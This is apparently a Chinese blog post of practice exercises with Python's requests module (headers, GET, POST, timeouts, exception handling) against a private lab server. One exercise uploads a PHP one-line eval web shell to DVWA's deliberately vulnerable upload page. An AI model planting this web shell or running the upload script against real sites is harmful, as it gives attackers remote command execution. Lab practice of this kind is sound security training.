python requests 模块练习

requests 模块练习

模拟浏览器指纹

# http://10.9.47.154/test.php
import requests

url = "http://10.9.47.154/test.php"
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0"
}
res = requests.get(url=url,headers=headers)
print(res.request.headers)

image-20231102155722547

GET 请求

import requests

url = "http://10.9.47.154/php/arrayprac/get.php"
# 需要 php 文件中有 $_GET
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0"
}
params={
    "name":"GJL",
    "password":"123456"
}
res = requests.get(url=url,headers=headers,params=params)
print(res.text)

image-20231102151141857

POST 请求

import requests

url = "http://10.9.47.154/php/arrayprac/post.php"
# 需要 php 文件中有 $_POST
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0"
}
data={
    "name":"GJL",
    "password":"123456"
}
res = requests.post(url=url,headers=headers,data=data)
print(res.text)

image-20231102151349958

文件上传

浏览器上传文件,拦截,查看数据包内容

image-20231102152129769

import requests

url = "http://10.9.47.154/dvwa_2.0.1/vulnerabilities/upload/"

headers = {
    # 防止反爬
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0",
    # 在请求头中添加登陆凭证
    "Cookie" : "security=low; security=low; PHPSESSID=n25n9pgfgmaplrvl4tfppdt661"
}
data={
    # 添加报文中的附加格式
    "MAX_FILE_SIZE":100000,
    "Upload":"Upload"
}
files={
    # 提交的表单名:(上传的文件名,二进制形式的文件内容,文件类型)
    "uploaded":("1.php",b"<?php @eval($_REQUEST['cmd']);?>","application/octet-stream")
}
# 发送构造的请求
res = requests.post(url=url,headers=headers,data=data,files=files)

html = res.text
# 截取返回的文件上传结果
start = html.find("<pre>")+5
end =  html.find("</pre>")
print(html[start:end])

image-20231102154552727

超时

sleep.php 设置了 sleep 10秒显示

如果不设置 timeout 则等待十秒获取到返回内容

image-20231102155001282

直接设置超时时间则等待三秒后会报错

image-20231102155111805

处理异常

超时显示

import requests
url = "http://10.9.47.154/php/functions/sleep.php"
try:
    res  = requests.get(url=url,timeout=3)
except requests.exceptions.ReadTimeout:
    print("Request Time Out")
except:
    print("Something error")
else:
    print(res.text)

image-20231102155312713

不设置超时

image-20231102155343642

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gjl_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值